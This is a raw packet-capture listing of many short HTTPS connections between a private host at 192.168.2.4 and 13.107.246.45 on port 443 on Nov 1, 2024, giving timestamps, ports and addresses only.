Nov 1, 2024 05:53:04.343153000 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.343162060 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.343671083 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.343674898 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.356273890 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.356677055 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.356698990 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.357311010 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.357315063 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.372675896 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.374007940 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.374016047 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.374459028 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.374463081 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.461292028 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.461445093 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.461499929 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.461594105 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.461600065 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.461611032 CET	49784	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.461615086 CET	443	49784	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464073896 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464416027 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464466095 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464514017 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464515924 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464530945 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464539051 CET	49781	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464545012 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464545012 CET	443	49781	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.464613914 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464785099 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.464798927 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.466862917 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.466872931 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.466941118 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.467077017 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.467087030 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.472141027 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.472284079 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.472332001 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.472362041 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.472373009 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.472381115 CET	49783	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.472385883 CET	443	49783	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.475007057 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.475014925 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.475085974 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.475217104 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.475228071 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.493906021 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.493949890 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.493993044 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.494175911 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.494185925 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.494198084 CET	49780	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.494201899 CET	443	49780	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.496063948 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.496073961 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.496143103 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.496248960 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.496258020 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.508768082 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.508938074 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.508990049 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.509021997 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.509026051 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.509035110 CET	49782	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.509037971 CET	443	49782	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.511018038 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.511027098 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:04.511086941 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.511198997 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:04.511207104 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.195472956 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.196013927 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.196033001 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.196486950 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.196497917 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.211700916 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.212097883 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.212109089 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.212436914 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.212512016 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.212517023 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.212708950 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.212724924 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.213035107 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.213044882 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.237025023 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.237607002 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.237613916 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.238157034 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.238161087 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.255098104 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.255476952 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.255484104 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.255995035 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.255999088 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.324583054 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.324995995 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.325061083 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.325095892 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.325108051 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.325136900 CET	49785	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.325150013 CET	443	49785	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.328382969 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.328392982 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.328464031 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.328628063 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.328636885 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.340492010 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.340751886 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.340823889 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.340883017 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.340887070 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.340912104 CET	49786	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.340914965 CET	443	49786	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.343410015 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.343426943 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.343488932 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.343668938 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.343677998 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.346479893 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.346652031 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.346704960 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.346951008 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.346973896 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.346998930 CET	49787	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.347012043 CET	443	49787	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.350754976 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.350769043 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.350831032 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.350940943 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.350950956 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.369035959 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.371509075 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.371592045 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.371628046 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.371630907 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.371663094 CET	49788	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.371666908 CET	443	49788	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.373949051 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.373987913 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.374067068 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.374203920 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.374243975 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.386326075 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.386369944 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.386436939 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.390959978 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.390965939 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.390976906 CET	49789	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.390980959 CET	443	49789	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.393487930 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.393496990 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:05.393557072 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.393783092 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:05.393790960 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.051534891 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.052037001 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.052045107 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.052628994 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.052633047 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.074050903 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.074667931 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.074687958 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.075258970 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.075264931 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.080102921 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.080476999 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.080488920 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.080955029 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.080960035 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.088731050 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.095175028 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.095189095 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.095566034 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.095571041 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.132328033 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.132772923 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.132781029 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.133342028 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.133346081 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.182210922 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.182380915 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.182465076 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.182594061 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.182600975 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.182617903 CET	49790	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.182622910 CET	443	49790	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.185719967 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.185767889 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.185857058 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.186026096 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.186044931 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.211911917 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.212841034 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.212910891 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.212948084 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.212954998 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.212965965 CET	49792	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.212970018 CET	443	49792	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.215137005 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.215147018 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.215218067 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.215332985 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.215341091 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.217806101 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.217906952 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.217967033 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.218023062 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.218024015 CET	49793	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.218051910 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.218075037 CET	443	49793	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.219944954 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.219964027 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.220033884 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.220166922 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.220176935 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.262398005 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.262595892 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.262660027 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.262744904 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.262748957 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.262758017 CET	49794	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.262761116 CET	443	49794	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.264800072 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.264807940 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.264877081 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.265019894 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.265028000 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.326261997 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.326455116 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.326518059 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.326677084 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.326683998 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.326693058 CET	49791	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.326697111 CET	443	49791	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.329752922 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.329762936 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.329821110 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.329999924 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.330009937 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.924252033 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.924776077 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.924820900 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.925309896 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.925326109 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.946312904 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.946638107 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.946661949 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.947026968 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.947033882 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.949243069 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.949557066 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.949579000 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:06.949954033 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:06.949959993 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.002239943 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.002764940 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.002778053 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.003242016 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.003246069 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.054558992 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.054682970 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.054770947 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.054961920 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.054996967 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.055023909 CET	49795	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.055041075 CET	443	49795	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.057476997 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.057487011 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.057553053 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.057710886 CET	49800	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.057718992 CET	443	49800	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.073230982 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.073474884 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.073539972 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.073585987 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.073596001 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.073605061 CET	49796	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.073611021 CET	443	49796	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.075690985 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.075725079 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.075802088 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.075922966 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.075934887 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.078516006 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.078916073 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.078972101 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.078998089 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.078998089 CET	49797	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.079010963 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.079021931 CET	443	49797	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.080749035 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.080758095 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.080828905 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.080941916 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.080950975 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.095616102 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.099664927 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.099675894 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.107120991 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.107126951 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.130531073 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.130569935 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.130619049 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.130794048 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.130798101 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.130808115 CET	49798	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.130810022 CET	443	49798	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.133579016 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.133609056 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.133661985 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.133789062 CET	49803	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.133804083 CET	443	49803	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.237468004 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.237546921 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.237683058 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.237708092 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.237720966 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.237731934 CET	49799	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.237735033 CET	443	49799	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.239855051 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.239877939 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.239952087 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.240083933 CET	49804	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.240092993 CET	443	49804	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.796901941 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.797390938 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.797405958 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.797854900 CET	49801	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.797859907 CET	443	49801	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.810713053 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.811021090 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.811028004 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.811450958 CET	49802	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:07.811455011 CET	443	49802	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:07.821448088 CET	443	49800	13.107.246.45	192.168.2.4
